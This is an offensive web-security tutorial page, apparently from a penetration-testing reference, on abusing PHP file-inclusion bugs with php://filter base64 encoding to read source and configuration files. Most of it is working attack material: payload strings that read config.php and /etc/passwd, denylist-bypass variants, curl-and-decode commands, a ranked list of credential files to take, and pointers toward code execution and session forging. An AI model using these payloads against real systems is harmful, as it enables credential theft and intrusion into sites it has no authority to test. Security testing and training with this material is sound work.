Skip to content
highCVSS 7.5CWE-22A01:2021 – Broken Access Control

Reading Source with php://filter

include() executes PHP instead of showing it to you. Base64-encode the stream first and it comes back as data — the single most useful request in a PHP inclusion engagement.

The problem it solves

You have an inclusion bug and you point it at config.php. The response is blank.

That is not a failure. include() parsed the file and ran it, and a config file that assigns variables produces no output. The credentials you wanted are now in memory, in a scope you cannot reach, and gone.

The fix is to stop the file being valid PHP before the sink sees it. php://filter applies a transformation to the stream on the way through, so if you base64-encode it first, include() receives a blob of base64 with no <?php tag anywhere in it — nothing to execute, so it is echoed instead.

The payload

Payloadparameter values
php://filter/convert.base64-encode/resource=config.php

# Relative to the including script's directory, so the same traversal rules
# apply to the resource= part as to a bare path.
php://filter/convert.base64-encode/resource=../config.php
php://filter/convert.base64-encode/resource=../../../../etc/passwd

# Absolute works too.
php://filter/convert.base64-encode/resource=/var/www/html/config.php

# The older, longer form. Identical behaviour; occasionally slips past a
# filter matching the exact string "php://filter/convert".
php://filter/read=convert.base64-encode/resource=config.php

# Filters compose left to right, which is sometimes enough to get past a
# check on the response body.
php://filter/convert.base64-encode|string.rot13/resource=config.php

Getting the source back

Bash
curl -s 'https://target.example/index.php?page=php://filter/convert.base64-encode/resource=config.php' \
  | base64 -d

# The response usually contains the page template as well as the base64.
# Pull out the longest base64-looking run rather than decoding the lot:
curl -s '…' | grep -oE '[A-Za-z0-9+/]{40,}={0,2}' | base64 -d

# Truncated output almost always means the surrounding HTML mangled it, not
# that the read failed. Check the raw response before assuming a length limit.

Why this is not blocked

The property that makes this technique reliable is worth stating plainly, because it is counter-intuitive and it is the foundation of everything in Escalation to RCE:

php://filter is not governed by allow_url_include.

That flag covers remote URLs. php://filter is not fetching anything remote — it is applying a transformation to a stream that resolves locally. PHP does not classify it as a URL include, so the flag is never consulted.

The practical consequence: this works on a completely stock php.ini. There is no hardening step short of not having the inclusion bug that turns it off. allow_url_fopen=Off does not affect it. allow_url_include=Off does not affect it. Only open_basedir constrains it, and only by limiting which files resource= can name — the filter itself keeps working.

What to read, in order

The first read should almost always be the including file itself. Usually that is index.php, or whatever the URL suggests.

It answers every question you have: whether the sink executes, whether a directory is prepended, whether an extension is appended, what filtering is applied, and — crucially — what it includes next. Every file it references is a file you now know exists and can name.

From there:

  1. The config the source told you about. config.php, settings.inc.php, wp-config.php, .env, database.yml.
  2. Framework bootstrap. Reveals the framework and version, and therefore which gadget chains apply if you get to phar deserialization.
  3. Anything with a credential in the name. Then anything the config file includes.
  4. .git/config, composer.json, composer.lock. Dependency versions map directly to known gadget chains and known CVEs.

A note on scale: this is one file per request and directory listing is not available through this wrapper. Read the source and follow the includes rather than guessing filenames — the application will tell you its own layout faster than any wordlist.

What stops it

  • A prepended directory. include('pages/' . $page) moves your input off position zero and php:// stops being a wrapper. This is the most common blocker by far, and there is no way around it from the parameter — see PHP Wrappers and Streams.
  • An appended extension. resource=config.php + .php = config.php.php. Nothing to encode. See Extension Append Bypasses.
  • open_basedir. resource= still resolves through the filesystem, so it is confined. The app tree usually still contains what you want.
  • A denylist on php:// or filter. Try the read= form, case variation (PHP://FILTER), or URL encoding — see Beating Blacklists.
  • Binary files. They encode fine but the surrounding HTML may mangle the base64. Not a security control, just an annoyance.

And the one thing that is not a limit: the file being PHP. That is the entire point.

Where this leads

A source read is not the end of the engagement. Two directions from here:

Credentials. The config file is usually the highest-value single artifact on the host — database access, object storage, third-party APIs, and the framework signing key that lets you forge sessions. In a modern deployment this is frequently worth more than a shell.

Code execution. The same wrapper that read the file can be made to produce a file, by chaining convert.iconv filters until it emits bytes of your choosing. Same wrapper, same stock configuration, no upload and no writable directory. See PHP Filter Chains, and generate one on the filter chain page.